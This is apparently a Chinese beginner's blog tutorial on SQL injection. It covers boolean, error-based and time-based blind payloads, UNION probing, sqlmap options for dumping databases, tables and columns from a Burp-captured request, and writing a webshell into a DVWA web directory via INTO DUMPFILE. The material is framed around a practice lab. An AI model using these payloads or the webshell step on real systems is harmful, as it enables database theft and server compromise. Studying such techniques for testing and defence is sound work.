SQL注入SQLmap简单用法,和SQL注入写入一句话木马

SQL注入

Boolean注入攻击-布尔盲注

1' and length(database())>1 -- qwe
1’ and length(database())>10 #
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。

用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。

1’ and ascii(substr(database(),1,1))>88 #
1' and ascii(substr(database(),1,1))>1

报错注入攻击

and extractvalue(1, concat(0x7e,(select @@version),0x7e))

and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

时间注入攻击-时间盲注

if (length(database())>1,sleep(5),1)

时间盲注配合着  if(A,B,C)  语句结合使用,含义是:如果A是 true,则返回B(也就是执行B),否则返回C(执行C)

这个是百度百科的答案

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

简单点来说就是你提交的参数被当做代码去执行,网站的搭建,离不开码农的“加班”,再好的代码也是人写的,总有逻辑上的漏洞,说远了,SQL注入就是利用代码的漏洞,在接受用户传参的值的时候没有进行限制,或者限制的严格程度不够留下了问题。

SQL注入SQLmap简单用法,和SQL注入写入一句话木马_第1张图片

这样子的,在接受GET传参时,没有进行限制,传递的参数直接提交数据库,这里就是可以利用的一点,用单引号闭合前面的SQL语句,用union select 联合查询去接你要查询的东西,

输入1’ union select 1 – 报错

输入1’ union select 1,2 –成功

源代码肯定是看不到的,

找到正确的闭合规则,

如:

输入1’ and 1 = 2 –-  ,查询失败,返回结果为空

输入1’ and 1 = 1 – ,查询成功

所以需要去试,单引号闭合,双引号闭合,加括号闭合等等,这个适合GET传参,POST咋办?

没关系,复杂的学不来,直接拿前辈的成果SQLmap去跑就行了,直接用burp抓包,抓取你觉得有注入的点,打包成TXT,SQLmap可以下载的你的Windows,也可以用kali自带的,

(文笔不太好,想到哪里写到哪里,感觉kali应该也抽时间说一下)抓到的包就像这要的,这个我抓的是GET,POST也一样

SQL注入SQLmap简单用法,和SQL注入写入一句话木马_第2张图片

用SQLmap去跑一下,SQLmap简单说一下

 sqlmap --version       查看sqlmap版本信息.

    -h            查看功能参数(常用的)

    -hh             查看所有的参数 (如果有中文包 就最好了)

    -v            显示更详细的信息 一共7级, 从0-6.默认为1, 数值越大,信息显示越详细.

        Target(指定目标):

    -d            直接连接数据库侦听端口,类似于把自己当一个客户端来连接.

    -u               指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1 

    -l            指定logfile文件进行扫描,可以结合burp 把访问的记录保存成一个log文件, sqlmap可以直接加载burp保存到log文件进行扫描

    -x            以xml的形式提交一个站点地图给sqlmap(表示不理解..)

    -m            如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描

    -r            把http的请求头,body保存成一个文件 统一提交给sqlmap,sqlmap会读取内容进行拼接请求体

    -g            利用谷歌搜索引擎搭配正则来过滤你想要的

    -c            加载配置文件,配置文件可以指定扫描目标,扫描方式,扫描内容等等.加载了配置文件sqlmap就会根据文件内容进行特定的扫描

 sqlmap -r 你保存的文件名.txt    【如果知道注入点用-p “” 指定注入点,有的网页需要登录,用--cookie “”指定cookie值,这个值是你浏览器的cookieh值,咋看?谷歌的f12 ,火狐的开发者工具,找不到burp抓包,,,,有一些网站会检头部信息,--user-agent “” 指定user-agent   或者--random-agent 直接随机agent  ,,,,,--level  3 安全级别】

SQL注入SQLmap简单用法,和SQL注入写入一句话木马_第3张图片

如:

爆出数据库
sqlmap -r a.txt --dbs --batch
–current-db是获取当前正在使用的数据库
指定数据库,爆表
sqlmap -r a.txt -D dvwa --tables --batch
指定表爆列
sqlmap -r a.txt -D dvwa -T information --columns --batch

这个有使用文档,有需要的我等下给个链接

以上用的是MySQL数据库

以前面试被问道过,Mysql5.0以上和Mysql5.0以下的版本中最大的区别是什么?

Mysql5.0以上的版本中加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令,

SQL注入写一句话木马,需要由2个前提,

1.确定有注入点,并可用

2.知道绝对路径

如:

然后用联合查询

select '一句话' into dumpfile '路径'
select '' into dumpfile 'E:\php\phpstudy_pro\WWW\DVWA\vulnerabilities\sqli_blind\123.php';

用菜刀连接,KALI下MSF配合可以进行内网渗透

你可能感兴趣的:(渗透,sql,数据库,mysql,安全)